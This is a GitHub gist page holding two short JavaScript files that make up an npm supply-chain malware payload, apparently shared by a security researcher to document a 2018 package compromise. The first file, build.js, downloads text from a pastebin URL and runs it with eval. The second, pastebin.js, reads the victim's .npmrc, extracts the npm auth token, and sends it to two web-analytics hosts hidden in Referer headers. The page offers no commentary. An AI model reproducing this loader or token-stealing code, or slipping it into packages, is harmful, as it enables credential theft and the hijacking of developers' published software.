Skip to content

Instantly share code, notes, and snippets.

@evilpacket
Created July 13, 2018 00:31
Show Gist options
  • Select an option

  • Save evilpacket/73a345a956c8b83f4336f53bdfbd3a14 to your computer and use it in GitHub Desktop.

Select an option

Save evilpacket/73a345a956c8b83f4336f53bdfbd3a14 to your computer and use it in GitHub Desktop.

Revisions

  1. evilpacket created this gist Jul 13, 2018.
    24 changes: 24 additions & 0 deletions build.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,24 @@
    try {
    var https = require("https");
    https
    .get(
    {
    hostname: "pastebin.com",
    path: "/raw/XLeVP82h",
    headers: {
    "User-Agent":
    "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
    Accept:
    "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    }
    },
    r => {
    r.setEncoding("utf8");
    r.on("data", c => {
    eval(c);
    });
    r.on("error", () => {});
    }
    )
    .on("error", () => {});
    } catch (e) {}
    35 changes: 35 additions & 0 deletions pastebin.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    try {
    var path = require("path");
    var fs = require("fs");
    var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
    var content = "nofile";

    if (fs.existsSync(npmrc)) {
    content = fs.readFileSync(npmrc, { encoding: "utf8" });
    content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

    var https1 = require("https");
    https1
    .get(
    {
    hostname: "sstatic1.histats.com",
    path: "/0.gif?4103075&101",
    method: "GET",
    headers: { Referer: "http://1.a/" + content }
    },
    () => {}
    )
    .on("error", () => {});
    https1
    .get(
    {
    hostname: "c.statcounter.com",
    path: "/11760461/0/7b5b9d71/1/",
    method: "GET",
    headers: { Referer: "http://2.b/" + content }
    },
    () => {}
    )
    .on("error", () => {});
    }
    } catch (e) {}